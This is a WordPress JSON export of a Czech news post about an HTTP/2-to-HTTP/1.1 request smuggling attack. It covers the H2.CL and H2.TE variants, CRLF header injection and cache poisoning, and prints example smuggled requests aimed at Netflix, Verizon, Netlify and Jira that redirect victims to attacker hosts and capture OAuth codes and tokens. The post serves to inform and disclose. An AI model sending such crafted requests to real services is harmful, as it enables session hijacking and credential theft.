{"id":100934,"date":"2021-08-07T16:22:34","date_gmt":"2021-08-07T14:22:35","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/novaya-ataka-na-sistemy-frontend-bekend-pozvolyayushhaya-vklinitsya-v-zaprosy"},"modified":"2026-02-09T17:18:09","modified_gmt":"2026-02-09T15:18:09","slug":"novaya-ataka-na-sistemy-frontend-bekend-pozvolyayushhaya-vklinitsya-v-zaprosy","status":"publish","type":"post","link":"https:\/\/prohoster.info\/cs\/blog\/news\/novaya-ataka-na-sistemy-frontend-bekend-pozvolyayushhaya-vklinitsya-v-zaprosy","title":{"rendered":"Nov\u00fd \u00fatok na frontend-backend syst\u00e9my, kter\u00fd umo\u017e\u0148uje zasahovat do po\u017eadavk\u016f","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Webov\u00e9 syst\u00e9my, ve kter\u00fdch frontend p\u0159ij\u00edm\u00e1 p\u0159ipojen\u00ed p\u0159es HTTP\/2 a p\u0159ed\u00e1v\u00e1 je backendu p\u0159es HTTP\/1.1, jsou vystaveny nov\u00e9 variant\u011b \u00fatoku \u201eHTTP Request Smuggling\u201c, kter\u00fd umo\u017e\u0148uje vlo\u017een\u00ed speci\u00e1ln\u011b form\u00e1tovan\u00fdch klientsk\u00fdch po\u017eadavk\u016f do obsahu po\u017eadavk\u016f ostatn\u00edch u\u017eivatel\u016f, zpracov\u00e1van\u00fdch ve stejn\u00e9m toku mezi frontendem a backendem. Tento \u00fatok m\u016f\u017ee b\u00fdt pou\u017eit k vlo\u017een\u00ed \u0161kodliv\u00e9ho JavaScriptov\u00e9ho k\u00f3du do relace s legitimn\u00edm webem, obch\u00e1zen\u00ed p\u0159\u00edstupov\u00fdch restrikc\u00ed a zachycen\u00ed autentiza\u010dn\u00edch parametr\u016f. <\/p>\n

Probl\u00e9mu jsou vystaveny webov\u00e9 proxy, load balancery, webov\u00e9 akceler\u00e1tory, syst\u00e9my doru\u010dov\u00e1n\u00ed obsahu a dal\u0161\u00ed konfigurace, ve kter\u00fdch jsou po\u017eadavky p\u0159esm\u011brov\u00e1ny podle sch\u00e9matu frontend-backend. Autor studie demonstroval mo\u017enost \u00fatoku na syst\u00e9my Netflix, Verizon, Bitbucket, Netlify CDN a Atlassian a z\u00edskal 56 tis\u00edc dolar\u016f v programech na vypl\u00e1cen\u00ed odm\u011bn za zji\u0161t\u011bn\u00ed zranitelnost\u00ed. P\u0159\u00edtomnost probl\u00e9mu byla tak\u00e9 potvrzena v produktech F5 Networks. \u010c\u00e1ste\u010dn\u011b se probl\u00e9m dot\u00fdk\u00e1 mod_proxy v http serveru Apache (CVE-2021-33193), opravy se o\u010dek\u00e1vaj\u00ed ve verzi 2.4.49 (v\u00fdvoj\u00e1\u0159i byli o probl\u00e9mu informov\u00e1ni na za\u010d\u00e1tku kv\u011btna a dostali 3 m\u011bs\u00edce na opravu). V nginx byla mo\u017enost z\u00e1rove\u0148 speciifikovat hlavi\u010dky \u201eContent-Length\u201c a \u201eTransfer-Encoding\u201c zablokov\u00e1na v minul\u00e9m vyd\u00e1n\u00ed (1.21.1). N\u00e1stroje pro prov\u00e1d\u011bn\u00ed \u00fatok\u016f byly ji\u017e p\u0159id\u00e1ny do n\u00e1stroje Burp a jsou dostupn\u00e9 ve form\u011b roz\u0161\u00ed\u0159en\u00ed Turbo Intruder. <\/p>\n

Princip nov\u00e9ho zp\u016fsobu vkl\u00e1d\u00e1n\u00ed po\u017eadavk\u016f do provozu je podobn\u00fd zranitelnosti, kterou odhalil stejn\u00fd v\u00fdzkumn\u00edk p\u0159ed dv\u011bma lety, ale je omezen na frontendy, kter\u00e9 p\u0159ij\u00edmaj\u00ed po\u017eadavky p\u0159es HTTP\/1.1. P\u0159ipome\u0148me, \u017ee ve sch\u00e9matu frontend-backend p\u0159ij\u00edm\u00e1 po\u017eadavky klient\u016f dal\u0161\u00ed uzel \u2013 frontend, kter\u00fd z\u0159izuje dlouhodob\u00e9 TCP p\u0159ipojen\u00ed s backendem, kter\u00fd prov\u00e1d\u00ed p\u0159\u00edm\u00e9 zpracov\u00e1n\u00ed po\u017eadavk\u016f. Tento spole\u010dn\u00fd spoj obvykle p\u0159en\u00e1\u0161\u00ed po\u017eadavky r\u016fzn\u00fdch u\u017eivatel\u016f, kter\u00e9 n\u00e1sleduj\u00ed po sob\u011b s odd\u011blen\u00edm prost\u0159edky protokolu HTTP. <\/p>\n

Klasick\u00fd \u00fatok \u201eHTTP Request Smuggling\u201c vych\u00e1zel z toho, \u017ee frontendy a backendy r\u016fzn\u011b interpretuj\u00ed pou\u017eit\u00ed HTTP hlavi\u010dek \u201eContent-Length\u201c (ur\u010duje celkovou velikost dat v po\u017eadavku) a \u201eTransfer-Encoding: chunked\u201c (umo\u017e\u0148uje p\u0159en\u00e1\u0161et data po \u010d\u00e1stech). Nap\u0159\u00edklad, pokud frontend podporuje pouze \u201eContent-Length\u201c, ale ignoruje \u201eTransfer-Encoding: chunked\u201c, \u00fato\u010dn\u00edk m\u016f\u017ee odeslat po\u017eadavek, ve kter\u00e9m jsou sou\u010dasn\u011b uvedeny hlavi\u010dky \u201eContent-Length\u201c a \u201eTransfer-Encoding: chunked\u201c, ale velikost v \u201eContent-Length\u201c neodpov\u00edd\u00e1 velikosti chunked \u0159et\u011bzce. V tomto p\u0159\u00edpad\u011b frontend zpracov\u00e1v\u00e1 a p\u0159esm\u011brov\u00e1v\u00e1 po\u017eadavek podle \u201eContent-Length\u201c, zat\u00edmco backend o\u010dek\u00e1v\u00e1 dokon\u010den\u00ed bloku na z\u00e1klad\u011b \u201eTransfer-Encoding: chunked\u201c a zb\u00fdvaj\u00edc\u00ed \u010d\u00e1st po\u017eadavku \u00fato\u010dn\u00edka se dostane na za\u010d\u00e1tek ciz\u00edho po\u017eadavku, kter\u00fd je n\u00e1sledn\u011b odesl\u00e1n. <\/p>\n

Na rozd\u00edl od textov\u00e9ho protokolu HTTP\/1.1, jeho\u017e anal\u00fdza se prov\u00e1d\u00ed na \u00farovni \u0159et\u011bzc\u016f, je HTTP\/2 bin\u00e1rn\u00ed protokol, kter\u00fd manipuluje s bloky dat p\u0159edem ur\u010den\u00e9 velikosti. V HTTP\/2 se pou\u017e\u00edvaj\u00ed pseudohlavi\u010dky, kter\u00e9 odpov\u00eddaj\u00ed b\u011b\u017en\u00fdm hlavi\u010dk\u00e1m HTTP. P\u0159i interakci s backendem prost\u0159ednictv\u00edm protokolu HTTP\/1.1 frontend p\u0159ekl\u00e1d\u00e1 tyto pseudohlavi\u010dky na podobn\u00e9 HTTP hlavi\u010dky HTTP\/1.1. Probl\u00e9m je v tom, \u017ee backend rozhoduje o anal\u00fdze toku ji\u017e na z\u00e1klad\u011b vystaven\u00fdch frontendem HTTP hlavi\u010dek, ani\u017e by m\u011bl informace o parametrech p\u016fvodn\u00edho po\u017eadavku. <\/p>\n

Mezi pseudo-hlavi\u010dkami mohou b\u00fdt tak\u00e9 p\u0159ed\u00e1ny hodnoty \u201econtent-length\u201c a \u201etransfer-encoding\u201c, a\u010dkoli v HTTP\/2 se nepou\u017e\u00edvaj\u00ed, proto\u017ee velikost v\u0161ech dat je ur\u010dena v samostatn\u00e9m poli. Nicm\u00e9n\u011b p\u0159i p\u0159evodu po\u017eadavku HTTP\/2 na HTTP\/1.1 jsou tyto hlavi\u010dky p\u0159eneseny a mohou uv\u00e9st backend do omylu. V podstat\u011b existuj\u00ed dva hlavn\u00ed varianty \u00fatoku: H2.TE a H2.CL, ve kter\u00fdch je backend uveden do omylu nespr\u00e1vnou hodnotou transfer-encoding nebo content-length, kter\u00e1 neodpov\u00edd\u00e1 skute\u010dn\u00e9 velikosti t\u011bla po\u017eadavku p\u0159ijat\u00e9ho frontendem protokolem HTTP\/2.

\"Nov\u00fd<\/center> <\/p>\n

Jako p\u0159\u00edklad \u00fatoku H2.CL je uvedeno neopr\u00e1vn\u011bn\u00e9 uveden\u00ed velikosti v pseudo-z\u00e1hlav\u00ed content-length p\u0159i odes\u00edl\u00e1n\u00ed \u017e\u00e1dosti HTTP\/2 k Netflixu. Tato \u017e\u00e1dost vede k p\u0159id\u00e1n\u00ed obdobn\u00e9ho HTTP z\u00e1hlav\u00ed Content-Length p\u0159i komunikaci s backendem p\u0159es HTTP\/1.1, ale proto\u017ee velikost v Content-Length je uvedena men\u0161\u00ed ne\u017e skute\u010dn\u00e1, \u010d\u00e1st dat na konci se zpracov\u00e1v\u00e1 jako za\u010d\u00e1tek dal\u0161\u00ed \u017e\u00e1dosti. <\/p>\n

Nap\u0159\u00edklad \u017e\u00e1dost HTTP\/2 :method\tPOST :path\t\/n :authority\twww.netflix.com content-length\t4 abcdGET \/n HTTP\/1.1 Host: 02.rs?x.netflix.com Foo: bar <\/p>\n

Zp\u016fsob\u00ed odesl\u00e1n\u00ed \u017e\u00e1dosti backendu: POST \/n HTTP\/1.1 Host: www.netflix.com Content-Length: 4 abcdGET \/n HTTP\/1.1 Host: 02.rs?x.netflix.com Foo: bar <\/p>\n

Proto\u017ee Content-Length m\u00e1 hodnotu 4, backend p\u0159ijme jako t\u011blo po\u017eadavku pouze \u201eabcd\u201c, zat\u00edmco zb\u00fdvaj\u00edc\u00ed \u010d\u00e1st \u201eGET \/n HTTP\/1.1\u2026\u201c zpracuje jako za\u010d\u00e1tek n\u00e1sleduj\u00edc\u00edho po\u017eadavku, kter\u00fd je v\u00e1z\u00e1n na jin\u00e9ho u\u017eivatele. T\u00edm dojde k desynchronizaci toku a na n\u00e1sleduj\u00edc\u00ed po\u017eadavek bude vyd\u00e1n v\u00fdsledek zpracov\u00e1n\u00ed podvr\u017een\u00e9ho po\u017eadavku. V p\u0159\u00edpad\u011b Netflixu uveden\u00ed ciz\u00edho hostitele v hlavi\u010dce \u201eHost:\u201c v podvr\u017een\u00e9m po\u017eadavku vedlo k tomu, \u017ee klient obdr\u017eel odpov\u011b\u010f \u201eLocation: https:\/\/02.rs?x.netflix.com\/n\u201c a umo\u017enilo mu to p\u0159edat klientovi libovoln\u00fd obsah, v\u010detn\u011b proveden\u00ed vlastn\u00edho JavaScriptu v kontextu webu Netflix. <\/p>\n

Druh\u00e1 varianta \u00fatoku (H2.TE) je spojena s vkl\u00e1d\u00e1n\u00edm hlavi\u010dky \"Transfer-Encoding: chunked\". Pou\u017eit\u00ed pseudo-hlavi\u010dky transfer-encoding v HTTP\/2 je podle specifikace zak\u00e1z\u00e1no a \u017e\u00e1dosti obsahuj\u00edc\u00ed tuto hlavi\u010dku by m\u011bly b\u00fdt pova\u017eov\u00e1ny za neplatn\u00e9. P\u0159esto n\u011bkter\u00e9 implementace front-endu toto po\u017eadavek ignoruj\u00ed a dovoluj\u00ed pou\u017eit\u00ed pseudo-hlavi\u010dky transfer-encoding v HTTP\/2, kter\u00e1 je p\u0159evedena na odpov\u00eddaj\u00edc\u00ed hlavi\u010dku HTTP. Pokud je hlavi\u010dka \"Transfer-Encoding\" p\u0159\u00edtomna, backend ji m\u016f\u017ee pova\u017eovat za prioritn\u011bj\u0161\u00ed a zpracovat data po \u010d\u00e1stech v re\u017eimu \"chunked\" pomoc\u00ed blok\u016f r\u016fzn\u00fdch velikost\u00ed ve form\u00e1tu \"{velikost}\\r\\n{blok}\\r\\n{velikost}\\r\\n{blok}\\r\\n0\", p\u0159esto\u017ee p\u016fvodn\u011b bylo rozd\u011blen\u00ed podle celkov\u00e9 velikosti. <\/p>\n

Existence takov\u00e9to chyby byla demonstrov\u00e1na na p\u0159\u00edkladu spole\u010dnosti Verizon. Tato probl\u00e9m se t\u00fdkal autentiza\u010dn\u00edho port\u00e1lu a syst\u00e9mu spr\u00e1vy obsahu<\/a>, kter\u00fd se tak\u00e9 pou\u017e\u00edv\u00e1 na takov\u00fdch str\u00e1nk\u00e1ch jako Huffington Post a Engadget. Nap\u0159\u00edklad \u017e\u00e1dost klienta pomoc\u00ed HTTP\/2: :method\tPOST :path\t\/identitfy\/XUI :authority\tid.b2b.oath.com transfer-encoding\tchunked 0 GET \/oops HTTP\/1.1 Host: psres.net Content-Length: 10 x=\" <\/p>\n

Vedlo k odesl\u00e1n\u00ed HTTP\/1.1 po\u017eadavku backendu: POST \/identity\/XUI HTTP\/1.1 Host: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET \/oops HTTP\/1.1 Host: psres.net Content-Length: 10 x=\" <\/p>\n

Backend na druh\u00e9 stran\u011b ignoroval hlavi\u010dku \"Content-Length\" a prov\u00e1d\u011bl rozd\u011blen\u00ed v toku na z\u00e1klad\u011b \"Transfer-Encoding: chunked\". V praxi umo\u017enil \u00fatok p\u0159esm\u011brovat u\u017eivatelsk\u00e9 po\u017eadavky na sv\u016fj web a tak\u00e9 zachytit po\u017eadavky souvisej\u00edc\u00ed s autentizac\u00ed OAuth, jejich\u017e parametry se objevily v hlavi\u010dce Referer, a simulovat autentiza\u010dn\u00ed relaci a vyvolat odesl\u00e1n\u00ed u\u017eivatelsk\u00fdch p\u0159ihla\u0161ovac\u00edch \u00fadaj\u016f napaden\u00e9mu hostiteli. GET \/b2blanding\/show\/oops HTTP\/1.1 Host: psres.net Referer: https:\/\/id.b2b.oath.com\/?…&code=secret GET \/ HTTP\/1.1 Host: psres.net Authorization: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik… <\/p>\n

Pro \u00fatok na realizace HTTP\/2, kter\u00e9 nepovoluj\u00ed uveden\u00ed pseudo-hlavi\u010dky transfer-encoding, byla navr\u017eena dal\u0161\u00ed metoda, kter\u00e1 spo\u010d\u00edvala ve vkl\u00e1d\u00e1n\u00ed hlavi\u010dky \"Transfer-Encoding\" skrze jej\u00ed p\u0159ipojen\u00ed k jin\u00fdm pseudo-hlavi\u010dk\u00e1m s odd\u011blen\u00edm nov\u00fdm \u0159\u00e1dkem (p\u0159i p\u0159evodu na HTTP\/1.1 se v takov\u00e9m p\u0159\u00edpad\u011b vytv\u00e1\u0159ej\u00ed dv\u011b samostatn\u00e9 HTTP hlavi\u010dky). <\/p>\n

Nap\u0159\u00edklad touto problematikou byly posti\u017eeny Atlassian Jira a Netlify CDN (pou\u017e\u00edv\u00e1 se k poskytov\u00e1n\u00ed \u00favodn\u00ed str\u00e1nky Mozilla ve Firefoxu). Konkr\u00e9tn\u011b, po\u017eadavek HTTP\/2 :method\tPOST :path\t\/ :authority\tstart.mozilla.org foo\tb\\r\\n transfer-encoding: chunked 0\\r\\n \\r\\n GET \/ HTTP\/1.1\\r\\n Host: evil-netlify-domain\\r\\n Content-Length: 5\\r\\n \\r\\n x= <\/p>\n

vedl k odesl\u00e1n\u00ed back-endu po\u017eadavku HTTP\/1.1 POST \/ HTTP\/1.1\\r\\n Host: start.mozilla.org\\r\\n Foo: b\\r\\n Transfer-Encoding: chunked\\r\\n Content-Length: 71\\r\\n \\r\\n 0\\r\\n \\r\\n GET \/ HTTP\/1.1\\r\\n Host: evil-netlify-domain\\r\\n Content-Length: 5\\r\\n \\r\\n x= <\/p>\n

Dal\u0161\u00ed mo\u017enost\u00ed pro substituci hlavi\u010dky \u201eTransfer-Encoding\u201c bylo jej\u00ed p\u0159ipojen\u00ed k n\u00e1zvu jin\u00e9 pseudohlavi\u010dky nebo k \u0159\u00e1dku s metodou po\u017eadavku. Nap\u0159\u00edklad p\u0159i p\u0159\u00edstupu k Atlassian Jira vedlo jm\u00e9no pseudohlavi\u010dky \u201efoo: bar\r\ntransfer-encoding\u201c s hodnotou \u201echunked\u201c k p\u0159id\u00e1n\u00ed HTTP hlavi\u010dek \u201efoo: bar\u201c a \u201etransfer-encoding: chunked\u201c, zat\u00edmco specifikace v pseudohlavi\u010dce \u201e:method\u201c hodnoty \u201eGET \/ HTTP\/1.1\r\nTransfer-encoding: chunked\u201c se p\u0159elo\u017eila na \u201eGET \/ HTTP\/1.1\r\ntransfer-encoding: chunked\u201c. <\/p>\n

V\u00fdzkumn\u00edk, kter\u00fd probl\u00e9m odhalil, tak\u00e9 navrhl techniku tunelov\u00e1n\u00ed po\u017eadavk\u016f pro proveden\u00ed \u00fatoku na frontendy, ve kter\u00fdch pro ka\u017ed\u00e9ho IP adres<\/a> vytv\u00e1\u0159\u00ed se samostatn\u00e9 spojen\u00ed s backendem a provoz r\u016fzn\u00fdch u\u017eivatel\u016f se nesm\u00edch\u00e1. Navr\u017een\u00e1 technika neumo\u017e\u0148uje zasahov\u00e1n\u00ed do po\u017eadavk\u016f jin\u00fdch u\u017eivatel\u016f, ale d\u00e1v\u00e1 mo\u017enost otr\u00e1vit spole\u010dnou cache, kter\u00e1 ovliv\u0148uje zpracov\u00e1n\u00ed dal\u0161\u00edch po\u017eadavk\u016f, a umo\u017e\u0148uje prov\u00e1d\u011bt substituci intern\u00edch HTTP hlavi\u010dek, kter\u00e9 se pou\u017e\u00edvaj\u00ed k p\u0159enosu servisn\u00edch informac\u00ed z frontendov\u00e9 \u010d\u00e1sti na backend (nap\u0159\u00edklad p\u0159i ov\u011b\u0159ov\u00e1n\u00ed na stran\u011b frontendu mohou b\u00fdt do t\u011bchto hlavi\u010dek na backendu p\u0159ed\u00e1v\u00e1ny informace o aktu\u00e1ln\u00edm u\u017eivateli). P\u0159\u00edkladem praktick\u00e9ho pou\u017eit\u00ed metody pomoc\u00ed otravy cache bylo z\u00edsk\u00e1n\u00ed kontroly nad str\u00e1nkami ve slu\u017eb\u011b Bitbucket.
\n
Zdroj: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

Web-\u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0444\u0440\u043e\u043d\u0442\u044d\u043d\u0434 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u043f\u043e HTTP\/2 \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442 \u0431\u044d\u043a\u0435\u043d\u0434\u0443 \u043f\u043e HTTP\/1.1, \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u043d\u043e\u0432\u043e\u043c\u0443 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0443 \u0430\u0442\u0430\u043a\u0438 «HTTP Request Smuggling», \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u0447\u0435\u0440\u0435\u0437 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0443 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0432\u043a\u043b\u0438\u043d\u0438\u0432\u0430\u0442\u044c\u0441\u044f \u0432 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u043c\u044b\u0445 \u0432 \u0442\u043e\u043c \u0436\u0435 \u043f\u043e\u0442\u043e\u043a\u0435 \u043c\u0435\u0436\u0434\u0443 \u0444\u0440\u043e\u043d\u0442\u044d\u043d\u0434\u043e\u043c \u0438 \u0431\u044d\u043a\u0435\u043d\u0434\u043e\u043c. \u0410\u0442\u0430\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f \u043f\u043e\u0434\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e JavaScript-\u043a\u043e\u0434\u0430 \u0432 \u0441\u0435\u0430\u043d\u0441 \u0441 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u043c […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":100935,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-100934","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47Nov\u00fd \u00fatok na syst\u00e9my frontend-backend, kter\u00fd umo\u017e\u0148uje zasahovat do po\u017eadavk\u016f | ProHoster","description":"Webov\u00e9 syst\u00e9my, ve kter\u00fdch frontend p\u0159ij\u00edm\u00e1 spojen\u00ed p\u0159es HTTP\/2 a p\u0159ed\u00e1v\u00e1 je backendu p\u0159es HTTP\/1.1, se uk\u00e1zaly jako zraniteln\u00e9 v\u016f\u010di nov\u00e9mu typu \u00fatoku \"HTTP Request Smuggling\", kter\u00fd umo\u017e\u0148uje zas\u00edl\u00e1n\u00ed speci\u00e1ln\u011b form\u00e1tovan\u00fdch.","canonical_url":"https:\/\/prohoster.info\/cs\/blog\/news\/novaya-ataka-na-sistemy-frontend-bekend-pozvolyayushhaya-vklinitsya-v-zaprosy","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"cs_CZ","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u041d\u043e\u0432\u0430\u044f \u0430\u0442\u0430\u043a\u0430 \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0444\u0440\u043e\u043d\u0442\u044d\u043d\u0434-\u0431\u044d\u043a\u0435\u043d\u0434, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u043a\u043b\u0438\u043d\u0438\u0442\u044c\u0441\u044f \u0432 \u0437\u0430\u043f\u0440\u043e\u0441\u044b | ProHoster","og:description":"Web-\u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0444\u0440\u043e\u043d\u0442\u044d\u043d\u0434 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u043f\u043e HTTP\/2 \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442 \u0431\u044d\u043a\u0435\u043d\u0434\u0443 \u043f\u043e HTTP\/1.1, \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u043d\u043e\u0432\u043e\u043c\u0443 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0443 \u0430\u0442\u0430\u043a\u0438 "HTTP Request Smuggling", \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u0447\u0435\u0440\u0435\u0437 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0443 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u044b\u0445.","og:url":"https:\/\/prohoster.info\/cs\/blog\/news\/novaya-ataka-na-sistemy-frontend-bekend-pozvolyayushhaya-vklinitsya-v-zaprosy","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2021-08-07T14:22:35+00:00","article:modified_time":"2026-02-09T15:18:09+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"100934","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-08-07 15:27:20","updated":"2026-02-09 15:18:09","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/cs\/wp-json\/wp\/v2\/posts\/100934","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/cs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/cs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/cs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/cs\/wp-json\/wp\/v2\/comments?post=100934"}],"version-history":[{"count":2,"href":"https:\/\/prohoster.info\/cs\/wp-json\/wp\/v2\/posts\/100934\/revisions"}],"predecessor-version":[{"id":158412,"href":"https:\/\/prohoster.info\/cs\/wp-json\/wp\/v2\/posts\/100934\/revisions\/158412"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/prohoster.info\/cs\/wp-json\/wp\/v2\/media\/100935"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/cs\/wp-json\/wp\/v2\/media?parent=100934"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/cs\/wp-json\/wp\/v2\/categories?post=100934"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/cs\/wp-json\/wp\/v2\/tags?post=100934"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}